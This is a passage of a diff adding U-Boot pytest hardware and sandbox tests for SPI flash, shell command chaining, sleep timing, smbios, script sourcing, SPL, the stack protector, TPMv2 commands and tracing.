+Note: This test relies on boardenv_* containing configuration values to define
+which SPI Flash areas are available for testing. Without this, this test will
+be automatically skipped.
+For example:
+
+# A list of sections of Flash memory to be tested.
+env__sf_configs = (
+ {
+ # Where in SPI Flash should the test operate.
+ 'offset': 0x00000000,
+ # This value is optional.
+ # If present, specifies the [[bus:]cs] argument used in `sf probe`
+ # If missing, defaults to 0.
+ 'id': '0:1',
+ # This value is optional.
+ # If set as a number, specifies the speed of the SPI Flash.
+ # If set as an array of 2, specifies a range for a random speed.
+ # If missing, defaults to 0.
+ 'speed': 1000000,
+ # This value is optional.
+ # If present, specifies the size to use for read/write operations.
+ # If missing, the SPI Flash page size is used as a default (based on
+ # the `sf probe` output).
+ 'len': 0x10000,
+ # This value is optional.
+ # If present, specifies if the test can write to Flash offset
+ # If missing, defaults to False.
+ 'writeable': False,
+ # This value is optional.
+ # If present, specifies the expected CRC32 value of the flash area.
+ # If missing, extra check is ignored.
+ 'crc32': 0xCAFECAFE,
+ },
+)
+"""
+
+def sf_prepare(u_boot_console, env__sf_config):
+ """Check global state of the SPI Flash before running any test.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__sf_config: The single SPI Flash device configuration on which to
+ run the tests.
+
+ Returns:
+ sf_params: a dictionary of SPI Flash parameters.
+ """
+
+ sf_params = {}
+ sf_params['ram_base'] = u_boot_utils.find_ram_base(u_boot_console)
+
+ probe_id = env__sf_config.get('id', 0)
+ speed = env__sf_config.get('speed', 0)
+ if isinstance(speed, int):
+ sf_params['speed'] = speed
+ else:
+ assert len(speed) == 2, "If speed is a list, it must have 2 entries"
+ sf_params['speed'] = random.randint(speed[0], speed[1])
+
+ cmd = 'sf probe %d %d' % (probe_id, sf_params['speed'])
+
+ output = u_boot_console.run_command(cmd)
+ assert 'SF: Detected' in output, 'No Flash device available'
+
+ m = re.search('page size (.+?) Bytes', output)
+ assert m, 'SPI Flash page size not recognized'
+ sf_params['page_size'] = int(m.group(1))
+
+ m = re.search('erase size (.+?) KiB', output)
+ assert m, 'SPI Flash erase size not recognized'
+ sf_params['erase_size'] = int(m.group(1))
+ sf_params['erase_size'] *= 1024
+
+ m = re.search('total (.+?) MiB', output)
+ assert m, 'SPI Flash total size not recognized'
+ sf_params['total_size'] = int(m.group(1))
+ sf_params['total_size'] *= 1024 * 1024
+
+ assert 'offset' in env__sf_config, \
+ '\'offset\' is required for this test.'
+ sf_params['len'] = env__sf_config.get('len', sf_params['erase_size'])
+
+ assert not env__sf_config['offset'] % sf_params['erase_size'], \
+ 'offset not multiple of erase size.'
+ assert not sf_params['len'] % sf_params['erase_size'], \
+ 'erase length not multiple of erase size.'
+
+ assert not (env__sf_config.get('writeable', False) and
+ 'crc32' in env__sf_config), \
+ 'Cannot check crc32 on writeable sections'
+
+ return sf_params
+
+def sf_read(u_boot_console, env__sf_config, sf_params):
+ """Helper function used to read and compute the CRC32 value of a section of
+ SPI Flash memory.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__sf_config: The single SPI Flash device configuration on which to
+ run the tests.
+ sf_params: SPI Flash parameters.
+
+ Returns:
+ CRC32 value of SPI Flash section
+ """
+
+ addr = sf_params['ram_base']
+ offset = env__sf_config['offset']
+ count = sf_params['len']
+ pattern = random.randint(0, 0xFF)
+ crc_expected = env__sf_config.get('crc32', None)
+
+ cmd = 'mw.b %08x %02x %x' % (addr, pattern, count)
+ u_boot_console.run_command(cmd)
+ crc_pattern = u_boot_utils.crc32(u_boot_console, addr, count)
+ if crc_expected:
+ assert crc_pattern != crc_expected
+
+ cmd = 'sf read %08x %08x %x' % (addr, offset, count)
+ response = u_boot_console.run_command(cmd)
+ assert 'Read: OK' in response, 'Read operation failed'
+ crc_readback = u_boot_utils.crc32(u_boot_console, addr, count)
+ assert crc_pattern != crc_readback, 'sf read did not update RAM content.'
+ if crc_expected:
+ assert crc_readback == crc_expected
+
+ return crc_readback
+
+def sf_update(u_boot_console, env__sf_config, sf_params):
+ """Helper function used to update a section of SPI Flash memory.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__sf_config: The single SPI Flash device configuration on which to
+ run the tests.
+
+ Returns:
+ CRC32 value of SPI Flash section
+ """
+
+ addr = sf_params['ram_base']
+ offset = env__sf_config['offset']
+ count = sf_params['len']
+ pattern = int(random.random() * 0xFF)
+
+ cmd = 'mw.b %08x %02x %x' % (addr, pattern, count)
+ u_boot_console.run_command(cmd)
+ crc_pattern = u_boot_utils.crc32(u_boot_console, addr, count)
+
+ cmd = 'sf update %08x %08x %x' % (addr, offset, count)
+ u_boot_console.run_command(cmd)
+ crc_readback = sf_read(u_boot_console, env__sf_config, sf_params)
+
+ assert crc_readback == crc_pattern
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_read(u_boot_console, env__sf_config):
+ sf_params = sf_prepare(u_boot_console, env__sf_config)
+ sf_read(u_boot_console, env__sf_config, sf_params)
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_read_twice(u_boot_console, env__sf_config):
+ sf_params = sf_prepare(u_boot_console, env__sf_config)
+
+ crc1 = sf_read(u_boot_console, env__sf_config, sf_params)
+ sf_params['ram_base'] += 0x100
+ crc2 = sf_read(u_boot_console, env__sf_config, sf_params)
+
+ assert crc1 == crc2, 'CRC32 of two successive read operation do not match'
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_erase(u_boot_console, env__sf_config):
+ if not env__sf_config.get('writeable', False):
+ pytest.skip('Flash config is tagged as not writeable')
+
+ sf_params = sf_prepare(u_boot_console, env__sf_config)
+ addr = sf_params['ram_base']
+ offset = env__sf_config['offset']
+ count = sf_params['len']
+
+ cmd = 'sf erase %08x %x' % (offset, count)
+ output = u_boot_console.run_command(cmd)
+ assert 'Erased: OK' in output, 'Erase operation failed'
+
+ cmd = 'mw.b %08x ff %x' % (addr, count)
+ u_boot_console.run_command(cmd)
+ crc_ffs = u_boot_utils.crc32(u_boot_console, addr, count)
+
+ crc_read = sf_read(u_boot_console, env__sf_config, sf_params)
+ assert crc_ffs == crc_read, 'Unexpected CRC32 after erase operation.'
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_update(u_boot_console, env__sf_config):
+ if not env__sf_config.get('writeable', False):
+ pytest.skip('Flash config is tagged as not writeable')
+
+ sf_params = sf_prepare(u_boot_console, env__sf_config)
+ sf_update(u_boot_console, env__sf_config, sf_params)
diff --git a/test/py/tests/test_shell_basics.py b/test/py/tests/test_shell_basics.py
new file mode 100644
index 00000000000..68a3f892f6b
--- /dev/null
+++ b/test/py/tests/test_shell_basics.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test basic shell functionality, such as commands separate by semi-colons.
+
+import pytest
+
+pytestmark = pytest.mark.buildconfigspec('cmd_echo')
+
+def test_shell_execute(u_boot_console):
+ """Test any shell command."""
+
+ response = u_boot_console.run_command('echo hello')
+ assert response.strip() == 'hello'
+
+def test_shell_semicolon_two(u_boot_console):
+ """Test two shell commands separate by a semi-colon."""
+
+ cmd = 'echo hello; echo world'
+ response = u_boot_console.run_command(cmd)
+ # This validation method ignores the exact whitespace between the strings
+ assert response.index('hello') < response.index('world')
+
+def test_shell_semicolon_three(u_boot_console):
+ """Test three shell commands separate by a semi-colon, with variable
+ expansion dependencies between them."""
+
+ cmd = 'setenv list 1; setenv list ${list}2; setenv list ${list}3; ' + \
+ 'echo ${list}'
+ response = u_boot_console.run_command(cmd)
+ assert response.strip() == '123'
+ u_boot_console.run_command('setenv list')
+
+def test_shell_run(u_boot_console):
+ """Test the "run" shell command."""
+
+ u_boot_console.run_command('setenv foo \'setenv monty 1; setenv python 2\'')
+ u_boot_console.run_command('run foo')
+ response = u_boot_console.run_command('echo ${monty}')
+ assert response.strip() == '1'
+ response = u_boot_console.run_command('echo ${python}')
+ assert response.strip() == '2'
+ u_boot_console.run_command('setenv foo')
+ u_boot_console.run_command('setenv monty')
+ u_boot_console.run_command('setenv python')
diff --git a/test/py/tests/test_sleep.py b/test/py/tests/test_sleep.py
new file mode 100644
index 00000000000..66a57434bff
--- /dev/null
+++ b/test/py/tests/test_sleep.py
@@ -0,0 +1,61 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+import time
+
+"""
+Note: This test doesn't rely on boardenv_* configuration values but they can
+change test behavior.
+
+# Setup env__sleep_accurate to False if time is not accurate on your platform
+env__sleep_accurate = False
+
+# Setup env__sleep_time time in seconds board is set to sleep
+env__sleep_time = 3
+
+# Setup env__sleep_margin set a margin for any system overhead
+env__sleep_margin = 0.25
+
+"""
+
+def test_sleep(u_boot_console):
+ """Test the sleep command, and validate that it sleeps for approximately
+ the correct amount of time."""
+
+ sleep_skip = u_boot_console.config.env.get('env__sleep_accurate', True)
+ if not sleep_skip:
+ pytest.skip('sleep is not accurate')
+
+ if u_boot_console.config.buildconfig.get('config_cmd_misc', 'n') != 'y':
+ pytest.skip('sleep command not supported')
+
+ # 3s isn't too long, but is enough to cross a few second boundaries.
+ sleep_time = u_boot_console.config.env.get('env__sleep_time', 3)
+ sleep_margin = u_boot_console.config.env.get('env__sleep_margin', 0.25)
+ tstart = time.time()
+ u_boot_console.run_command('sleep %d' % sleep_time)
+ tend = time.time()
+ elapsed = tend - tstart
+ assert elapsed >= (sleep_time - 0.01)
+ if not u_boot_console.config.gdbserver:
+ # margin is hopefully enough to account for any system overhead.
+ assert elapsed < (sleep_time + sleep_margin)
+
+@pytest.mark.buildconfigspec("cmd_misc")
+def test_time(u_boot_console):
+ """Test the time command, and validate that it gives approximately the
+ correct amount of command execution time."""
+
+ sleep_skip = u_boot_console.config.env.get("env__sleep_accurate", True)
+ if not sleep_skip:
+ pytest.skip("sleep is not accurate")
+
+ sleep_time = u_boot_console.config.env.get("env__sleep_time", 10)
+ sleep_margin = u_boot_console.config.env.get("env__sleep_margin", 0.25)
+ output = u_boot_console.run_command("time sleep %d" % sleep_time)
+ execute_time = float(output.split()[1])
+ assert sleep_time >= (execute_time - 0.01)
+ if not u_boot_console.config.gdbserver:
+ # margin is hopefully enough to account for any system overhead.
+ assert sleep_time < (execute_time + sleep_margin)
diff --git a/test/py/tests/test_smbios.py b/test/py/tests/test_smbios.py
new file mode 100644
index 00000000000..82b0b689830
--- /dev/null
+++ b/test/py/tests/test_smbios.py
@@ -0,0 +1,41 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+"""Test smbios command"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_smbios')
+@pytest.mark.notbuildconfigspec('qfw_smbios')
+@pytest.mark.notbuildconfigspec('sandbox')
+def test_cmd_smbios(u_boot_console):
+ """Run the smbios command"""
+ output = u_boot_console.run_command('smbios')
+ assert 'DMI type 127,' in output
+
+@pytest.mark.buildconfigspec('cmd_smbios')
+@pytest.mark.buildconfigspec('qfw_smbios')
+@pytest.mark.notbuildconfigspec('sandbox')
+# TODO:
+# QEMU v8.2.0 lacks SMBIOS support for RISC-V
+# Once support is available in our Docker image we can remove the constraint.
+@pytest.mark.notbuildconfigspec('riscv')
+def test_cmd_smbios_qemu(u_boot_console):
+ """Run the smbios command on QEMU"""
+ output = u_boot_console.run_command('smbios')
+ assert 'DMI type 1,' in output
+ assert 'Manufacturer: QEMU' in output
+ assert 'DMI type 127,' in output
+
+@pytest.mark.buildconfigspec('cmd_smbios')
+@pytest.mark.buildconfigspec('sandbox')
+def test_cmd_smbios_sandbox(u_boot_console):
+ """Run the smbios command on the sandbox"""
+ output = u_boot_console.run_command('smbios')
+ assert 'DMI type 0,' in output
+ assert 'String 1: U-Boot' in output
+ assert 'DMI type 1,' in output
+ assert 'Manufacturer: sandbox' in output
+ assert 'DMI type 2,' in output
+ assert 'DMI type 3,' in output
+ assert 'DMI type 4,' in output
+ assert 'DMI type 127,' in output
diff --git a/test/py/tests/test_source.py b/test/py/tests/test_source.py
new file mode 100644
index 00000000000..bbc311df6d1
--- /dev/null
+++ b/test/py/tests/test_source.py
@@ -0,0 +1,37 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (C) 2022 Sean Anderson <sean.anderson@seco.com>
+
+import os
+import pytest
+import u_boot_utils as util
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('cmd_source')
+@pytest.mark.buildconfigspec('fit')
+def test_source(u_boot_console):
+ # Compile our test script image
+ cons = u_boot_console
+ mkimage = os.path.join(cons.config.build_dir, 'tools/mkimage')
+ its = os.path.join(cons.config.source_dir, 'test/py/tests/source.its')
+ fit = os.path.join(cons.config.build_dir, 'source.itb')
+ util.run_and_log(cons, (mkimage, '-f', its, fit))
+ cons.run_command(f'host load hostfs - $loadaddr {fit}')
+
+ assert '2' in cons.run_command('source')
+ assert '1' in cons.run_command('source :')
+ assert '1' in cons.run_command('source :script-1')
+ assert '2' in cons.run_command('source :script-2')
+ assert 'Fail' in cons.run_command('source :not-a-script || echo Fail')
+ assert '2' in cons.run_command('source \\#')
+ assert '1' in cons.run_command('source \\#conf-1')
+ assert '2' in cons.run_command('source \\#conf-2')
+
+ cons.run_command('fdt addr $loadaddr')
+ cons.run_command('fdt rm /configurations default')
+ assert '1' in cons.run_command('source')
+ assert 'Fail' in cons.run_command('source \\# || echo Fail')
+
+ cons.run_command('fdt rm /images default')
+ assert 'Fail' in cons.run_command('source || echo Fail')
+ assert 'Fail' in cons.run_command('source \\# || echo Fail')
diff --git a/test/py/tests/test_spl.py b/test/py/tests/test_spl.py
new file mode 100644
index 00000000000..42e4c4342b2
--- /dev/null
+++ b/test/py/tests/test_spl.py
@@ -0,0 +1,44 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2020 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+import os.path
+import pytest
+
+@pytest.mark.buildconfigspec('spl_unit_test')
+def test_ut_spl_init(u_boot_console):
+ """Initialize data for ut spl tests."""
+
+ fn = u_boot_console.config.source_dir + '/spi.bin'
+ if not os.path.exists(fn):
+ data = b'\x00' * (2 * 1024 * 1024)
+ with open(fn, 'wb') as fh:
+ fh.write(data)
+
+def test_spl(u_boot_console, ut_spl_subtest):
+ """Execute a "ut" subtest.
+
+ The subtests are collected in function generate_ut_subtest() from linker
+ generated lists by applying a regular expression to the lines of file
+ spl/u-boot-spl.sym. The list entries are created using the C macro
+ UNIT_TEST().
+
+ Strict naming conventions have to be followed to match the regular
+ expression. Use UNIT_TEST(foo_test_bar, _flags, foo_test) for a test bar in
+ test suite foo that can be executed via command 'ut foo bar' and is
+ implemented in C function foo_test_bar().
+
+ Args:
+ u_boot_console (ConsoleBase): U-Boot console
+ ut_subtest (str): SPL test to be executed (e.g. 'dm platdata_phandle')
+ """
+ try:
+ cons = u_boot_console
+ cons.restart_uboot_with_flags(['-u', '-k', ut_spl_subtest.split()[1]])
+ output = cons.get_spawn_output().replace('\r', '')
+ assert 'Failures: 0' in output
+ finally:
+ # Restart afterward in case a non-SPL test is run next. This should not
+ # happen since SPL tests are run in their own invocation of test.py, but
+ # the cost of doing this is not too great at present.
+ u_boot_console.restart_uboot()
diff --git a/test/py/tests/test_stackprotector.py b/test/py/tests/test_stackprotector.py
new file mode 100644
index 00000000000..b87392c54ff
--- /dev/null
+++ b/test/py/tests/test_stackprotector.py
@@ -0,0 +1,15 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2021 Broadcom
+
+import pytest
+import signal
+
+@pytest.mark.buildconfigspec('cmd_stackprotector_test')
+@pytest.mark.notbuildconfigspec('asan')
+def test_stackprotector(u_boot_console):
+ """Test that the stackprotector function works."""
+
+ u_boot_console.run_command('stackprot_test',wait_for_prompt=False)
+ expected_response = 'Stack smashing detected'
+ u_boot_console.wait_for(expected_response)
+ u_boot_console.restart_uboot()
diff --git a/test/py/tests/test_tpm2.py b/test/py/tests/test_tpm2.py
new file mode 100644
index 00000000000..1d654cd4a23
--- /dev/null
+++ b/test/py/tests/test_tpm2.py
@@ -0,0 +1,318 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Bootlin
+# Author: Miquel Raynal <miquel.raynal@bootlin.com>
+
+import os.path
+import pytest
+import u_boot_utils
+import re
+import time
+
+"""
+Test the TPMv2.x related commands. You must have a working hardware setup in
+order to do these tests.
+
+Notes:
+* These tests will prove the password mechanism. The TPM chip must be cleared of
+any password.
+* Commands like pcr_setauthpolicy and pcr_resetauthpolicy are not implemented
+here because they would fail the tests in most cases (TPMs do not implement them
+and return an error).
+
+
+Note:
+This test doesn't rely on boardenv_* configuration value but can change test
+behavior.
+
+* Setup env__tpm_device_test_skip to True if tests with TPM devices should be
+skipped.
+
+"""
+
+updates = 0
+
+def force_init(u_boot_console, force=False):
+ """When a test fails, U-Boot is reset. Because TPM stack must be initialized
+ after each reboot, we must ensure these lines are always executed before
+ trying any command or they will fail with no reason. Executing 'tpm init'
+ twice will spawn an error used to detect that the TPM was not reset and no
+ initialization code should be run.
+ """
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+ output = u_boot_console.run_command('tpm2 autostart')
+ if force or not 'Error' in output:
+ u_boot_console.run_command('echo --- start of init ---')
+ u_boot_console.run_command('tpm2 clear TPM2_RH_LOCKOUT')
+ output = u_boot_console.run_command('echo $?')
+ if not output.endswith('0'):
+ u_boot_console.run_command('tpm2 clear TPM2_RH_PLATFORM')
+ u_boot_console.run_command('echo --- end of init ---')
+
+def is_sandbox(cons):
+ # Array slice removes leading/trailing quotes.
+ sys_arch = cons.config.buildconfig.get('config_sys_arch', '"sandbox"')[1:-1]
+ return sys_arch == 'sandbox'
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_init(u_boot_console):
+ """Init the software stack to use TPMv2 commands."""
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+ u_boot_console.run_command('tpm2 autostart')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_startup(u_boot_console):
+ """Execute a TPM2_Startup command.
+
+ Initiate the TPM internal state machine.
+ """
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+ u_boot_console.run_command('tpm2 startup TPM2_SU_CLEAR')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+def tpm2_sandbox_init(u_boot_console):
+ """Put sandbox back into a known state so we can run a test
+
+ This allows all tests to run in parallel, since no test depends on another.
+ """
+ u_boot_console.restart_uboot()
+ u_boot_console.run_command('tpm2 autostart')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_sandbox_self_test_full(u_boot_console):
+ """Execute a TPM2_SelfTest (full) command.
+
+ Ask the TPM to perform all self tests to also enable full capabilities.
+ """
+ if is_sandbox(u_boot_console):
+ u_boot_console.restart_uboot()
+ u_boot_console.run_command('tpm2 autostart')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ u_boot_console.run_command('tpm2 startup TPM2_SU_CLEAR')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+ u_boot_console.run_command('tpm2 self_test full')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_continue_self_test(u_boot_console):
+ """Execute a TPM2_SelfTest (continued) command.
+
+ Ask the TPM to finish its self tests (alternative to the full test) in order
+ to enter a fully operational state.
+ """
+
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+ u_boot_console.run_command('tpm2 self_test continue')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_clear(u_boot_console):
+ """Execute a TPM2_Clear command.
+
+ Ask the TPM to reset entirely its internal state (including internal
+ configuration, passwords, counters and DAM parameters). This is half of the
+ TAKE_OWNERSHIP command from TPMv1.
+
+ Use the LOCKOUT hierarchy for this. The LOCKOUT/PLATFORM hierarchies must
+ not have a password set, otherwise this test will fail. ENDORSEMENT and
+ PLATFORM hierarchies are also available.
+ """
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+
+ skip_test = u_boot_console.config.env.get('env__tpm_device_test_skip', False)
+ if skip_test:
+ pytest.skip('skip TPM device test')
+ u_boot_console.run_command('tpm2 clear TPM2_RH_LOCKOUT')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ u_boot_console.run_command('tpm2 clear TPM2_RH_PLATFORM')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_change_auth(u_boot_console):
+ """Execute a TPM2_HierarchyChangeAuth command.
+
+ Ask the TPM to change the owner, ie. set a new password: 'unicorn'
+
+ Use the LOCKOUT hierarchy for this. ENDORSEMENT and PLATFORM hierarchies are
+ also available.
+ """
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+ force_init(u_boot_console)
+
+ u_boot_console.run_command('tpm2 change_auth TPM2_RH_LOCKOUT unicorn')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ u_boot_console.run_command('tpm2 clear TPM2_RH_LOCKOUT unicorn')
+ output = u_boot_console.run_command('echo $?')
+ u_boot_console.run_command('tpm2 clear TPM2_RH_PLATFORM')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_get_capability(u_boot_console):
+ """Execute a TPM_GetCapability command.
+
+ Display one capability. In our test case, let's display the default DAM
+ lockout counter that should be 0 since the CLEAR:
+ - TPM_CAP_TPM_PROPERTIES = 0x6
+ - TPM_PT_LOCKOUT_COUNTER (1st parameter) = PTR_VAR + 14
+
+ There is no expected default values because it would depend on the chip
+ used. We can still save them in order to check they have changed later.
+ """
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+
+ force_init(u_boot_console)
+ ram = u_boot_utils.find_ram_base(u_boot_console)
+
+ read_cap = u_boot_console.run_command('tpm2 get_capability 0x6 0x20e 0x200 1') #0x%x 1' % ram)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ assert 'Property 0x0000020e: 0x00000000' in read_cap
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_dam_parameters(u_boot_console):
+ """Execute a TPM2_DictionaryAttackParameters command.
+
+ Change Dictionary Attack Mitigation (DAM) parameters. Ask the TPM to change:
+ - Max number of failed authentication before lockout: 3
+ - Time before the failure counter is automatically decremented: 10 sec
+ - Time after a lockout failure before it can be attempted again: 0 sec
+
+ For an unknown reason, the DAM parameters must be changed before changing
+ the authentication, otherwise the lockout will be engaged after the first
+ failed authentication attempt.
+ """
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+ force_init(u_boot_console)
+ ram = u_boot_utils.find_ram_base(u_boot_console)
+
+ # Set the DAM parameters to known values
+ u_boot_console.run_command('tpm2 dam_parameters 3 10 0')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ # Check the values have been saved
+ read_cap = u_boot_console.run_command('tpm2 get_capability 0x6 0x20f 0x%x 3' % ram)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ assert 'Property 0x0000020f: 0x00000003' in read_cap
+ assert 'Property 0x00000210: 0x0000000a' in read_cap
+ assert 'Property 0x00000211: 0x00000000' in read_cap
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_pcr_read(u_boot_console):
+ """Execute a TPM2_PCR_Read command.
+
+ Perform a PCR read of the 10th PCR. Must be zero.
+ """
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+
+ force_init(u_boot_console)
+ ram = u_boot_utils.find_ram_base(u_boot_console)
+
+ read_pcr = u_boot_console.run_command('tpm2 pcr_read 10 0x%x' % ram)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ # Save the number of PCR updates
+ str = re.findall(r'\d+ known updates', read_pcr)[0]
+ global updates
+ updates = int(re.findall(r'\d+', str)[0])
+
+ # Check the output value
+ assert 'PCR #10 content' in read_pcr
+ assert '00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00' in read_pcr
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_pcr_extend(u_boot_console):
+ """Execute a TPM2_PCR_Extend command.
+
+ Perform a PCR extension with a known hash in memory (zeroed since the board
+ must have been rebooted).
+
+ No authentication mechanism is used here, not protecting against packet
+ replay, yet.
+ """
+ if is_sandbox(u_boot_console):
+ tpm2_sandbox_init(u_boot_console)
+ force_init(u_boot_console)
+ ram = u_boot_utils.find_ram_base(u_boot_console)
+
+ read_pcr = u_boot_console.run_command('tpm2 pcr_read 10 0x%x' % (ram + 0x20))
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ str = re.findall(r'\d+ known updates', read_pcr)[0]
+ updates = int(re.findall(r'\d+', str)[0])
+
+ u_boot_console.run_command('tpm2 pcr_extend 10 0x%x' % ram)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ # Read the value back into a different place so we can still use 'ram' as
+ # our zero bytes
+ read_pcr = u_boot_console.run_command('tpm2 pcr_read 10 0x%x' % (ram + 0x20))
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ assert 'f5 a5 fd 42 d1 6a 20 30 27 98 ef 6e d3 09 97 9b' in read_pcr
+ assert '43 00 3d 23 20 d9 f0 e8 ea 98 31 a9 27 59 fb 4b' in read_pcr
+
+ str = re.findall(r'\d+ known updates', read_pcr)[0]
+ new_updates = int(re.findall(r'\d+', str)[0])
+ assert (updates + 1) == new_updates
+
+ u_boot_console.run_command('tpm2 pcr_extend 10 0x%x' % ram)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ read_pcr = u_boot_console.run_command('tpm2 pcr_read 10 0x%x' % (ram + 0x20))
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ assert '7a 05 01 f5 95 7b df 9c b3 a8 ff 49 66 f0 22 65' in read_pcr
+ assert 'f9 68 65 8b 7a 9c 62 64 2c ba 11 65 e8 66 42 f5' in read_pcr
+
+ str = re.findall(r'\d+ known updates', read_pcr)[0]
+ new_updates = int(re.findall(r'\d+', str)[0])
+ assert (updates + 2) == new_updates
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_cleanup(u_boot_console):
+ """Ensure the TPM is cleared from password or test related configuration."""
+
+ force_init(u_boot_console, True)
diff --git a/test/py/tests/test_trace.py b/test/py/tests/test_trace.py
new file mode 100644
index 00000000000..7c5696ce747
--- /dev/null
+++ b/test/py/tests/test_trace.py
@@ -0,0 +1,306 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2022 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+import os
+import pytest
+import re
+
+import u_boot_utils as util
+
+# This is needed for Azure, since the default '..' directory is not writeable
+TMPDIR = '/tmp/test_trace'
+
+# Decode a function-graph line
+RE_LINE = re.compile(r'.*0\.\.\.\.\. \s*([0-9.]*): func.*[|](\s*)(\S.*)?([{};])$')
+
+
+def collect_trace(cons):
+ """Build U-Boot and run it to collect a trace
+
+ Args:
+ cons (ConsoleBase): U-Boot console
+
+ Returns:
+ tuple:
+ str: Filename of the output trace file
+ int: Microseconds taken for initf_dm according to bootstage
+ """
+ cons.run_command('trace pause')
+ out = cons.run_command('trace stats')
+
+ # The output is something like this:
+ # 251,003 function sites
+ # 1,160,283 function calls
+ # 0 untracked function calls
+ # 1,230,758 traced function calls (341538 dropped due to overflow)
+ # 33 maximum observed call depth
+ # 15 call depth limit
+ # 748,268 calls not traced due to depth
+ # 1,230,758 max function calls
+
+ # Get a dict of values from the output
+ lines = [line.split(maxsplit=1) for line in out.splitlines() if line]
+ vals = {key: val.replace(',', '') for val, key in lines}
+
+ assert int(vals['function sites']) > 100000
+ assert int(vals['function calls']) > 200000
+ assert int(vals['untracked function calls']) == 0
+ assert int(vals['maximum observed call depth']) > 30
+ assert (vals['call depth limit'] ==
+ cons.config.buildconfig.get('config_trace_call_depth_limit'))
+ assert int(vals['calls not traced due to depth']) > 100000
+
+ out = cons.run_command('bootstage report')
+ # Accumulated time:
+ # 19,104 dm_r
+ # 23,078 of_live
+ # 46,280 dm_f
